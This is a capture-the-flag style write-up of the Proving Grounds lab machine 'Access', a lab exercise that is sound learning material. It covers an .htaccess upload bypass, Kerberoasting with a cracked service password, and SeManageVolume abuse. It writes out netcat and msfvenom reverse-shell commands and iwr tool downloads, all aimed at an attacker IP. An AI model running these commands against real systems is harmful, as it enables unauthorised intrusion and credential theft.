Internal Access Control Failure — PG Practice “Access”

Executive Summary

In this Proving Grounds Practice engagement, I exploited a broken access control logic and insecure file handling to progress from unauthenticated access to a SYSTEM-level compromise. The root cause centered on poor access enforcement in the web application and elevated privileges exposed via misconfigured backend services. This walkthrough demonstrates a real-world internal attack chain that combines web exploitation with credential abuse and privilege escalation methodology aligned to professional internal penetration tests.

Scope & Environment

• Target: Proving Grounds Practice — Access
• Assumed position: Internal attacker with network access
• Goal: Achieve SYSTEM-level access
• Techniques illustrated:
• Network & web enumeration
• File upload bypass
• Credential extraction
• Kerberoasting
• Service exploitation

High-Level Attack Chain

1. Initial service and web enumeration
2. Web application file upload bypass
3. Webshell foothold
4. Service credential discovery
5. Kerberoasting for service account hash
6. Remote command execution as service user
7. Privilege escalation via service abuse
8. SYSTEM compromise

Initial Enumeration

I started with a full TCP port scan and service enumeration

Nmap Scan:

PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http Apache httpd 2.4.48 ((Win64) OpenSSL/1.1.1k PHP/8.0.7)
|_http-title: Access The Event
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap
443/tcp open ssl/http Apache httpd 2.4.48 ((Win64) OpenSSL/1.1.1k PHP/8.0.7)
|_http-title: Access The Event
| http-methods: 
|_ Potentially risky methods: TRACE
| ssl-cert: Subject: commonName=localhost
| Not valid before: 2009–11–10T23:48:47
|_Not valid after: 2019–11–08T23:48:47
445/tcp open microsoft-ds?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap
9389/tcp open mc-nmf .NET Message Framing
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
49664/tcp open unknown
49665/tcp open unknown
49666/tcp open unknown
49668/tcp open unknown
49669/tcp open unknown
49670/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49671/tcp open unknown
49674/tcp open unknown
49701/tcp open unknown
49792/tcp closed unknown
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-time: 
| date: 2025–12–24T04:14:24
|_ start_date: N/A
| smb2-security-mode: 
| 3:1:1: 
|_ Message signing enabled and required

Open services included:

• DNS (53)
• HTTP (80, 443)
• LDAP (389)
• SMB (445)
• RPC-related high ports

This confirmed a Windows internal host with both web and directory services.

Web Application Exploration

Manual inspection of the web application revealed a ticket-purchasing feature that allowed users to upload an image file. Given this functionality, I suspected potential weaknesses in file validation.

Before attempting uploads, I performed directory discovery and identified an /uploads directory. While initially empty, this directory appeared to be directly accessible from the web server.

Uploading a standard PHP reverse shell (generated via revshells.com) was blocked by server-side validation.

I usually use the php shell by ivan

To bypass this restriction, I leveraged Apache’s .htaccess handling.

I uploaded a .htaccess file containing rules to treat a custom file extension as PHP:

I then renamed my PHP reverse shell from .php to .dork and uploaded it alongside the .htaccess file.

Navigating to the uploaded .dork file successfully executed the payload, resulting in a reverse shell connection to my listener and granting initial access to the system.

Post-Exploitation & Service Account Discovery

Once on the system, I enumerated local users and identified a service account of interest:

svc_mssql

Given the naming convention, this account was likely associated with a SQL Server service and potentially configured with a Service Principal Name (SPN), making it a strong candidate for Kerberoasting.

Kerberoasting the MSSQL Service Account

To identify SPNs, I transferred Get-SPN.ps1 to the target system:

iwr -uri http://192.168.45.155/Get-SPN.ps1 -Outfile Get-SPN.ps1

The spn for the MSSQL account is

MSSQLSvc/DC.access.offsec

Next, I extracted the Ticket Granting Service (TGS) hash using Get-TGSCipher.ps1.

iwr -uri http://192.168.45.155/Get-TGSCipher.ps1 -Outfile Get-TGSCipher.ps1

. .\Get-TGSCipher.ps1

Get-TGSCipher -SPN "MSSQLSvc/DC.access.offsec" -format john

The resulting hash was cracked using John the Ripper, yielding valid credentials:

svc_mssql : trustno1

we can use the Invoke-RunasCs.ps1 script to launch a command as this user

I transferred over netcat and ran netcat with Invoke-RunasCs.ps1 launching the command as svc_mssql so i can get a shell as that user

iwr -uri http://192.168.45.155/nc.exe -Outfile nc.exe
iwr -uri http://192.168.45.155/Invoke-RunasCs.ps1 -Outfile Invoke-RunasCs.ps1

. .\Invoke-RunasCs.ps1
Invoke-RunasCs -Username "svc_mssql" -Password "trustno1" -Command "C:\Users\Public\nc.exe -e cmd.exe 192.168.45.155 443"

After running these commands we get a shell as svc_mssql on our listener

Privilege Escalation via SeManageVolume

Running whoami /priv revealed that svc_mssql possessed the SeManageVolumePrivilege, which is known to be exploitable for privilege escalation.

I abused this misconfiguration using the public exploit:

https://github.com/xct/SeManageVolumeAbuse.git

Executing the exploit granted full read/write access across the C:\ filesystem.

SYSTEM Compromise

With unrestricted filesystem access, I created a malicious DLL payload using msfvenom:

msfvenom -a x64 -p windows/x64/shell_reverse_tcp LHOST=192.168.45.155 LPORT=6666 -f dll -o tzres.dll

I placed the DLL into:

C:\Windows\System32\wbem\

Triggering a system process (systeminfo) caused the DLL to be loaded, resulting in a reverse shell with SYSTEM-level privileges.

At this point, the host was fully compromised.

Pwned!!

Impact & Risk

In a real enterprise environment, this attack chain would allow an attacker to:

• Gain unauthenticated foothold via web application flaws
• Extract service account credentials
• Escalate privileges to SYSTEM
• Fully compromise the host and potentially pivot further into the domain

Key Takeaways

• File upload functionality must enforce strict server-side validation
• Service accounts should follow least-privilege principles
• Weak service account passwords enable Kerberoasting attacks
• Privileges such as SeManageVolume should be tightly controlled and monitored